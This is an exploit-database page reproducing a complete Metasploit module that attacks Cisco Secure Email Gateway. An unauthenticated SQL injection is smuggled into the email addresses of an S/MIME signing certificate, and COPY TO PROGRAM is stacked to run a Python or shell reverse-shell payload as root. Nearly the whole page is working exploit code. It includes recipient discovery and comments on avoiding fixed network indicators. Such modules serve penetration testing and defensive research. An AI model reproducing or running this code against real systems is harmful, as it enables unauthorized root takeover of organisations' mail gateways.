Lucene search
+L

Cisco Secure Email Gateway S/MIME SQL Injection RCE

🗓️ 14 Sep 2026 00:00:00Reported by sfewer-r7Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 2 Views

Unauthenticated SQL injection in Cisco Secure Email Gateway S/MIME certificate harvesting.

Related
Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'base64'
require 'openssl'
require 'zlib'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::Remote::SMTPDeliver

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Cisco Secure Email Gateway S/MIME SQL Injection RCE',
        'Description' => %q{
          This module exploits an unauthenticated SQL injection in Cisco Secure
          Email Gateway S/MIME certificate harvesting. A sender-controlled email
          address in a signing certificate is used in a PostgreSQL query without
          escaping. The module sends one signed email whose certificate supplies
          enough addresses to flush the asynchronous database writer, stacks COPY
          TO PROGRAM, and runs a payload as root through AsyncOS runas and Python.

          The check identifies the product through Cisco SEG's hidden SMTP
          queue-status command. AsyncOS does not expose a version through a
          benign SMTP command, so the check can only identify the product but not
          if it is explicitly vulnerable. Public-key harvesting must be enabled on
          the inbound mail flow policy for the target to be exploitable.

          The Cisco advisory is vague so attributing this vulnerability to a specific CVE is
          not obvious, but this appears to be CVE-2026-76443 rather than CVE-2026-76461
          based on the IOCs available for CVE-2026-76461.
        },
        'Author' => [ 'sfewer-r7' ], # Metasploit module
        'License' => MSF_LICENSE,
        'References' => [
          [ 'CVE', '2026-76443' ],
          [ 'URL', 'https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-hardening-esa-dfCrfXkm' ]
        ],
        'DisclosureDate' => '2026-09-14',
        'Privileged' => true,
        'Payload' => {
          'Space' => 600,
          'DisableNops' => true,
          # The payload is compressed and changed to lowercase hexadecimal before it enters the
          # certificate. Quotes, SQL punctuation, newlines, and backslashes are therefore safe.
          # NUL is invalid in both decoded payload forms. Bytes at or above 0x80 cannot be converted
          # reliably from Python bytes to command-line text across both module targets.
          'BadChars' => "\x00" + (0x80..0xff).to_a.pack('C*')
        },
        'Targets' => [
          # Tested with the following payloads:
          # * python/meterpreter/reverse_tcp
          # * python/shell_reverse_tcp
          [ 'Python Payload', { 'Platform' => 'python', 'Arch' => ARCH_PYTHON } ],
          # Tested with the following payloads:
          # * cmd/unix/reverse
          # * cmd/unix/reverse_openssl
          # Note that common shells/tools like bash and netcat are not available, but sh, telnet and openssl are.
          [ 'Unix Command', { 'Platform' => 'unix', 'Arch' => ARCH_CMD } ]
        ],
        'DefaultTarget' => 0,
        'DefaultOptions' => {
          # Certificate harvesting is asynchronous and can take time after SMTP accepts the email.
          'WfsDelay' => 120
        },
        'Notes' => {
          'Stability' => [ CRASH_SAFE ],
          'Reliability' => [ REPEATABLE_SESSION ],
          'SideEffects' => [ IOC_IN_LOGS ]
        }
      )
    )

    register_options([
      OptString.new('MAILFROM', [ false, 'Email sender address', '' ]),
      OptString.new('MAILTO', [ false, 'Email recipient address accepted by the gateway', '' ]),
      OptString.new('SUBJECT', [ false, 'Email subject', '' ])
    ])
  end

  def check
    connect

    # EUQ_FULL is an undocumented, AsyncOS SMTP command.
    response = smtp_send_recv("EUQ_FULL\r\n").to_s

    # This proves the target is running AsyncOS, but it may be either Cisco Secure Email Gateway or Cisco Secure Web
    # Appliance. It cannot distinguish a vulnerable release from a fixed release.
    # We could also try the HTTPS service, as that reports teh product type and version, but then we assume
    # access to that interface/port which may not be true.
    return CheckCode::Detected('Detected an SMTP service on AsyncOS. Target is likely a Cisco Secure Email Gateway.') if response.match?(/\A(?:250 EUQ not full|491 #4\.9\.1 EUQ database full)\r\n\z/)

    CheckCode::Unknown('Detected an SMTP service, but the target does not appear to be a Cisco Secure Email Gateway')
  rescue Rex::ConnectionError, Rex::TimeoutError, Msf::Exploit::Remote::SMTPDeliver::SMTPCommunicationError, EOFError => e
    CheckCode::Unknown(e.message)
  ensure
    disconnect if connected?
  end

  def exploit
    # Each run needs new addresses so cached certificates cannot bypass the vulnerable database lookup.
    nonce = Rex::Text.rand_text_hex(16).downcase

    program = payload_program

    # Discover an address the gateway accepts instead of assuming its configured mail domain.
    recipient = discover_recipient(nonce)

    domain = recipient.split('@', 2).last

    # By default, use the discovered local domain instead of a hard-coded sender domain.
    sender = datastore['MAILFROM'].blank? ? "#{nonce}@#{domain}" : datastore['MAILFROM']

    # A random default subject avoids a fixed network indicator; SUBJECT remains available for tracing.
    subject = datastore['SUBJECT'].blank? ? nonce : datastore['SUBJECT']

    print_status('Generating the signed S/MIME exploit email')

    email = build_message(program, nonce, domain, sender, recipient, subject)

    # The database writer normally waits for a timer, but a full 500-record batch is handled at once.
    print_status("Sending #{email.bytesize}-byte email with 500 certificate addresses")

    response = deliver_message(email, 'MAILFROM' => sender, 'MAILTO' => recipient)

    # SMTP success means the gateway queued the message; the vulnerable work runs asynchronously.
    fail_with(Failure::Unknown, 'SMTP DATA was not accepted') unless response&.start_with?('250')

    print_good('Exploit email accepted')
  end

  private

  def discover_recipient(nonce)
    # Prefer an operator-supplied mailbox when one is known to be valid.
    candidates = [ datastore['MAILTO'] ].compact.reject(&:blank?)

    if candidates.empty?
      connect

      # SMTP banners normally contain the gateway hostname, not a mailbox address.
      hostname = banner.to_s[/\A220\s+([^\s]+)/, 1].to_s.downcase

      labels = hostname.split('.')

      # Try the hostname and its parent domains, but never send message data during these probes.
      candidates = labels.each_index.filter_map { |index| labels[index..].join('.') if labels.length - index >= 2 }
    end

    candidates.each do |address_or_domain|
      address = address_or_domain.include?('@') ? address_or_domain : "#{nonce}@#{address_or_domain}"

      next unless address.match?(/\A[^\s<>@]+@[a-z0-9.-]+\z/i)

      vprint_status("Trying recipient address: #{address}")

      return address if recipient_accepted?(address, nonce)
    end

    fail_with(Failure::BadConfig, 'Could not discover an accepted recipient domain; set MAILTO')
  ensure
    disconnect if connected?
  end

  def deliver_message(message, envelope)
    # SMTPDeliver reads MAILFROM and MAILTO from the shared datastore.
    original = envelope.keys.to_h { |key| [ key, datastore[key] ] }

    # Use values derived for this one message, then restore the operator's settings in ensure.
    envelope.each { |key, value| datastore[key] = value }

    send_message(message)
  ensure
    original&.each { |key, value| datastore[key] = value }
  end

  def recipient_accepted?(address, nonce)
    connect unless connected?

    # HELO establishes a normal SMTP session before testing an envelope.
    return false unless smtp_send_recv("HELO #{nonce}\r\n").to_s.start_with?('250')

    domain = address.split('@', 2).last

    # Recipient policy can depend on the envelope sender, so probe with the same normalized sender
    # that SMTPDeliver uses for the final message.
    sender = datastore['MAILFROM'].blank? ? "#{nonce}@#{domain}" : datastore['MAILFROM'].strip

    return false if bad_address(sender)

    return false unless smtp_send_recv("MAIL FROM: <#{sender}>\r\n").to_s.start_with?('250')

    # SMTPDeliver proceeds only after code 250, so discovery must use the same requirement.
    accepted = smtp_send_recv("RCPT TO: <#{address}>\r\n").to_s.start_with?('250')

    # RSET discards the test envelope so discovery never queues an email.
    smtp_send_recv("RSET\r\n")

    accepted
  end

  def payload_program
    # Compression keeps large Python payloads within the harvested address size limit. Lowercase
    # hexadecimal protects every payload byte from AsyncOS changing certificate addresses to lowercase.
    packed_payload = Zlib::Deflate.deflate(payload.encoded).unpack1('H*')

    decoder = %(zlib.decompress(binascii.unhexlify("#{packed_payload}")))

    python_loader = if target['Arch'] == ARCH_PYTHON
                      # A Python payload is already source code, so execute its decoded bytes directly.
                      "import binascii,zlib;exec(#{decoder})"
                    else
                      # A Unix payload is a command string. Pass it as a single argument to a fresh shell
                      # instead of interpolating it into another shell command where quoting could alter it.
                      %(import binascii,os,zlib;os.execl("/bin/sh","sh","-c",#{decoder}.decode()))
                    end

    # Public-key harvesting runs under a database account. AsyncOS runas executes the loader as root,
    # while the built-in Python3 runtime decodes the payload without requiring an added staging utility.
    "/data/bin/runas root /usr/local/bin/python3 -c '#{python_loader}'"
  end

  def build_message(program, nonce, domain, sender, recipient, subject)
    # The temporary CA and leaf certificate exist only to create a signed S/MIME message.
    ca_key = OpenSSL::PKey::RSA.new(2048)

    leaf_key = OpenSSL::PKey::RSA.new(2048)

    ca_name = OpenSSL::X509::Name.parse("/CN=#{nonce}-ca")

    # The two certificates use distinct serials; their random keys make every pair unique.
    ca = certificate(ca_name, ca_name, ca_key.public_key, 1)

    # This marks the certificate as an authority while preventing it from issuing another CA.
    ca.add_extension(OpenSSL::X509::ExtensionFactory.new.create_extension('basicConstraints', 'CA:TRUE,pathlen:0', true))

    # A CA certificate is self-signed with its own private key.
    ca.sign(ca_key, OpenSSL::Digest.new('SHA256'))

    # AsyncOS ignores self-signed certificates while harvesting, so the vulnerable identities
    # belong to a separate leaf certificate issued by the temporary CA.
    leaf_name = OpenSSL::X509::Name.parse("/CN=#{nonce}")

    leaf = certificate(leaf_name, ca_name, leaf_key.public_key, 2)

    # The signer is an end certificate, not another certificate authority.
    leaf.add_extension(OpenSSL::X509::ExtensionFactory.new.create_extension('basicConstraints', 'CA:FALSE', true))

    # These usages permit signing email and transporting an encryption key.
    leaf.add_extension(OpenSSL::X509::ExtensionFactory.new.create_extension('keyUsage', 'digitalSignature,keyEncipherment', true))

    # The sender-controlled rfc822Name values reach the vulnerable SQL lookup.
    leaf.add_extension(subject_alternative_names(program, nonce, domain))

    # emailProtection labels this leaf as an S/MIME certificate.
    leaf.add_extension(OpenSSL::X509::ExtensionFactory.new.create_extension('extendedKeyUsage', 'emailProtection', false))

    # Sign the leaf with the temporary CA key so the included certificate chain is internally consistent.
    leaf.sign(ca_key, OpenSSL::Digest.new('SHA256'))

    # The message body itself is harmless; the embedded certificate carries the SQL text.
    content = "Content-Type: text/plain; charset=us-ascii\r\nContent-Transfer-Encoding: 7bit\r\n\r\n#{nonce}\r\n"

    # Include the untrusted CA with the signer so AsyncOS can extract both certificates. Trust is
    # not required because public-key harvesting occurs before certificate verification.
    signed = OpenSSL::PKCS7.sign(leaf, leaf_key, content, [ ca ], OpenSSL::PKCS7::BINARY).to_der

    # S/MIME transports the binary PKCS#7 signed object as MIME base64 with conventional 76-byte lines.
    encoded = Base64.strict_encode64(signed).scan(/.{1,76}/).join("\r\n")

    message = Rex::MIME::Message.new
    message.mime_defaults
    message.from = "<#{sender}>"
    message.to = "<#{recipient}>"
    message.subject = subject

    # This MIME type directs AsyncOS to its S/MIME signed-message parser. Keep the PKCS#7 signed object
    # as the top-level body; add_part() would introduce a multipart wrapper and change the tested path.
    message.header.set('Content-Type', "application/pkcs7-mime; smime-type=signed-data; name=#{nonce}.p7m")
    message.header.set('Content-Transfer-Encoding', 'base64')
    message.content = encoded

    message.to_s
  end

  def certificate(subject, issuer, public_key, serial)
    cert = OpenSSL::X509::Certificate.new

    # X.509 version 3 is required for the certificate extensions used below. Note that Ruby is using zero-based indexes
    # here so 2 below is X.509 v3.
    cert.version = 2

    cert.serial = serial

    cert.subject = subject

    cert.issuer = issuer

    cert.public_key = public_key

    # Backdating tolerates clock skew, while one day is long enough for asynchronous processing.
    cert.not_before = Time.now - 300

    cert.not_after = Time.now + 86_400

    cert
  end

  def subject_alternative_names(program, nonce, domain)
    # AsyncOS harvests every certificate email address and passes it as rcpt_data to the vulnerable
    # get_rcpt_record_two_columns_query(), which builds:
    #   SELECT public_key, last_updated FROM harvested_pubkeys WHERE rcpt_data='<address>'
    # The address below is valid as an email with a double-quoted local part. That opening double
    # quote is just data inside PostgreSQL's single-quoted value. The apostrophe after the nonce ends
    # that value early, and PostgreSQL accepts the semicolon-separated text that follows as two more
    # statements. COPY (SELECT '') TO PROGRAM launches program as the PostgreSQL server account and
    # gives it a harmless line on standard input. The final zero-row SELECT supplies the column names
    # expected by getallrowdicts(). Then -- comments out the closing double quote, @domain, and
    # apostrophe that AsyncOS appends. Doubling apostrophes here quotes only the command inside
    # PROGRAM's SQL value; it does not repair the unsafe address lookup.
    sqli_identity = %("#{nonce}';copy(select'')to program'#{program.gsub("'", "''")}';select null::text as public_key,0::double precision as last_updated where false;-- "@#{domain})

    # write_to_harvest_db() lowercases and queues every unique rfc822Name returned by get_email().
    # The fresh nonce therefore makes all 500 identities distinct cache keys in this one writer batch,
    # even though they belong to the same leaf certificate.
    identities = [ sqli_identity ]

    # The S/MIME writer starts work immediately at WRITER_SYNC_BUFFER_LIMIT (500); a smaller batch can
    # wait for its periodic flush. Each filler stacks only the same zero-row SELECT, so it raises the
    # queue length without launching more programs. Because the final result has no row, harvest_check()
    # also skips the later certificate INSERT for both the first and filler identities.
    # We need 500 identities to hit the WRITER_SYNC_BUFFER_LIMIT and force the SQLi to occur, otherwise we would have to
    # wait for this buffer to flush (can take 3+ minutes), with 500 identities we should get the SQLi in ~10 seconds.
    499.times do |index|
      identities << %("#{nonce}-#{index}';select null::text as public_key,0::double precision as last_updated where false;-- "@#{domain})
    end

    # In X.509, GeneralName context-specific tag 1 means rfc822Name (an email address). Constructing
    # the extension as DER preserves the SQL punctuation until the appliance reads the certificate.
    general_names = OpenSSL::ASN1::Sequence.new(identities.map { |address| OpenSSL::ASN1::IA5String.new(address, 1, :CONTEXT_SPECIFIC) })

    OpenSSL::X509::Extension.new('subjectAltName', general_names.to_der, false)
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

14 Sep 2026 00:00Current
8.5High risk
Vulners AI Score8.5
CVSS 3.19.8
EPSS0.02354
SSVC
2